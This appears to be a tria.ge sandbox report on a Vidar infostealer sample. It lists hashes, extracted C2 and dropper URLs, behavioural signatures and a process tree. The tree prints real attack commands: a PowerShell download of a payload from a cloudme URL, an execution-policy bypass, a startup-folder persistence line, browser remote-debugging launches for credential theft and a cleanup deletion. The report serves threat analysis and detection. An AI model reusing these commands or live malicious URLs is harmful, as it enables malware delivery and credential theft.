Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2024, 04:04

General

  • Target

    6a97f99224f349c28c6c4c8a3f2ecfb6.exe

  • Size

    1.2MB

  • MD5

    6a97f99224f349c28c6c4c8a3f2ecfb6

  • SHA1

    64c0eac737f4f294e50d64d7ded5896e4d36b2e7

  • SHA256

    c61196d6b3ae9b0c88afb656c58adee79288de13927f288c767bacf2825e8480

  • SHA512

    370836b122778b34ac8804012781f1b1d274864977a537993b8efba9cc8d7f8b526d7ed9774d65a8311b556133f1c914a4f5d89421c4a4ee181278ddfd4639a0

  • SSDEEP

    24576:0rORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvaj1h9XCrd:02EYTb8atv1orq+pEiSDTj1VyvBaJSR

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://my.cloudme.com/v1/ws2/:excellent2024/:stars/stars.txt

Extracted

Family

vidar

C2

https://t.me/asg7rd

https://steamcommunity.com/profiles/76561199794498376

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6

Signatures

  • Detect Vidar Stealer 16 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 59 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3428
      • C:\Users\Admin\AppData\Local\Temp\6a97f99224f349c28c6c4c8a3f2ecfb6.exe
        "C:\Users\Admin\AppData\Local\Temp\6a97f99224f349c28c6c4c8a3f2ecfb6.exe"
        2⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:excellent2024/:stars_1/stars" -OutFile "C:\Users\Public\Guard.exe""
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4212
          • C:\Users\Public\Guard.exe
            "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:2584
      • C:\Windows\SysWOW64\cmd.exe
        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
        2⤵
        • Drops startup file
        • System Location Discovery: System Language Discovery
        PID:2732
      • C:\Users\Public\jsc.exe
        C:\Users\Public\jsc.exe
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1344
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
            PID:728
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
              PID:4204
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
              • Checks computer location settings
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:864
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                4⤵
                • Uses browser remote debugging
                • Enumerates system info in registry
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:1772
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff4ba9cc40,0x7fff4ba9cc4c,0x7fff4ba9cc58
                  5⤵
                    PID:4792
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1872,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1868 /prefetch:2
                    5⤵
                      PID:2884
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2124,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2148 /prefetch:3
                      5⤵
                        PID:3084
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2424 /prefetch:8
                        5⤵
                          PID:1944
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3188 /prefetch:1
                          5⤵
                          • Uses browser remote debugging
                          PID:3516
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3224 /prefetch:1
                          5⤵
                          • Uses browser remote debugging
                          PID:2636
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4204,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4496 /prefetch:1
                          5⤵
                          • Uses browser remote debugging
                          PID:3004
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4504,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4248 /prefetch:8
                          5⤵
                            PID:2868
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4412,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4760 /prefetch:8
                            5⤵
                              PID:2220
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4516,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3608 /prefetch:8
                              5⤵
                                PID:3660
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4584,i,3153383351308533558,1047110480643525982,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3608 /prefetch:8
                                5⤵
                                  PID:3696
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                4⤵
                                • Uses browser remote debugging
                                • Enumerates system info in registry
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                • Suspicious use of FindShellTrayWindow
                                PID:1792
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff4baa46f8,0x7fff4baa4708,0x7fff4baa4718
                                  5⤵
                                  • Checks processor information in registry
                                  • Enumerates system info in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1336
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:2
                                  5⤵
                                    PID:3480
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:212
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2968 /prefetch:8
                                    5⤵
                                      PID:4204
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
                                      5⤵
                                      • Uses browser remote debugging
                                      PID:1236
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
                                      5⤵
                                      • Uses browser remote debugging
                                      PID:3204
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:1
                                      5⤵
                                      • Uses browser remote debugging
                                      PID:1008
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4104 /prefetch:1
                                      5⤵
                                      • Uses browser remote debugging
                                      PID:3544
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 /prefetch:2
                                      5⤵
                                        PID:3664
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
                                        5⤵
                                          PID:2128
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2628 /prefetch:2
                                          5⤵
                                            PID:4604
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3380 /prefetch:2
                                            5⤵
                                              PID:5056
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4648 /prefetch:2
                                              5⤵
                                                PID:3396
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4692 /prefetch:2
                                                5⤵
                                                  PID:672
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5128 /prefetch:2
                                                  5⤵
                                                    PID:1992
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,3748258295340881572,4336107604192664298,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3460 /prefetch:2
                                                    5⤵
                                                      PID:556
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FCGCGDHJEGHJ" & exit
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3420
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout /t 10
                                                      5⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Delays execution with timeout.exe
                                                      PID:5048
                                            • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                              "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                              1⤵
                                                PID:3360
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                1⤵
                                                  PID:4032

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\ProgramData\chrome.dll

                                                  Filesize

                                                  676KB

                                                  MD5

                                                  eda18948a989176f4eebb175ce806255

                                                  SHA1

                                                  ff22a3d5f5fb705137f233c36622c79eab995897

                                                  SHA256

                                                  81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

                                                  SHA512

                                                  160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

                                                • C:\ProgramData\mozglue.dll

                                                  Filesize

                                                  593KB

                                                  MD5

                                                  c8fd9be83bc728cc04beffafc2907fe9

                                                  SHA1

                                                  95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                  SHA256

                                                  ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                  SHA512

                                                  fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                • C:\ProgramData\nss3.dll

                                                  Filesize

                                                  2.0MB

                                                  MD5

                                                  1cc453cdf74f31e4d913ff9c10acdde2

                                                  SHA1

                                                  6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                  SHA256

                                                  ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                  SHA512

                                                  dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                                                  Filesize

                                                  649B

                                                  MD5

                                                  3334c0c6c3652cbc4f53414bd5dcac32

                                                  SHA1

                                                  32b3eccb282a739905629f403df71a953879c5f7

                                                  SHA256

                                                  64325fd8cadc2ab02e84a17eb60c25e9dc32fde70ad02b1ec51574f85b792a00

                                                  SHA512

                                                  6d62b23d506379adb0c61b11d7a5520390ae59c9849fc093a760a0c108d1bff7aa5fa95e9f428c0fd9ddd33a5b7f1ef13d283e10b55b28ebeb458d72ea62c913

                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                                  Filesize

                                                  2B

                                                  MD5

                                                  d751713988987e9331980363e24189ce

                                                  SHA1

                                                  97d170e1550eee4afc0af065b78cda302a97674c

                                                  SHA256

                                                  4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                  SHA512

                                                  b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                  Filesize

                                                  2KB

                                                  MD5

                                                  2f57fde6b33e89a63cf0dfdd6e60a351

                                                  SHA1

                                                  445bf1b07223a04f8a159581a3d37d630273010f

                                                  SHA256

                                                  3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                  SHA512

                                                  42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\16d105b0-b1c2-4583-b029-beb67c73e1ef.dmp

                                                  Filesize

                                                  834KB

                                                  MD5

                                                  0ed87a25bd5a957dbb126b2cc4d8a2ae

                                                  SHA1

                                                  02997f418573dd1413e5c25095014efef0026ab3

                                                  SHA256

                                                  592fe0a6deec850b4d5fb6071a4cd12dc22891f49fecf17ea6282a3cd64e0c7f

                                                  SHA512

                                                  0712dec35f759c27c084399545339e6d3eb6f668c50971ba98ab606cf66019aab56713391e7e4fc32bb406c6ca7e86848320a8b5d092ef2bc8fe96a94cc36312

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\260b1df0-4e01-496d-aa08-60e4fbfefebd.dmp

                                                  Filesize

                                                  818KB

                                                  MD5

                                                  d10fc3c4ab11b2c50f2a010c33f65078

                                                  SHA1

                                                  a4e1f6200a4fd0ac62e1c83c4bbe13a20d733cba

                                                  SHA256

                                                  de925c8660668d53c969e94242430058410c3e0c68bc447669d2027922804975

                                                  SHA512

                                                  f1d2d2bc16060e86f4a9cc14db94b77d68a9edd8c77cae54afdf0948ca9fa01dc776a838bde225c8bce20086a0987a3d96dc96278c57523b40a4206fd8839284

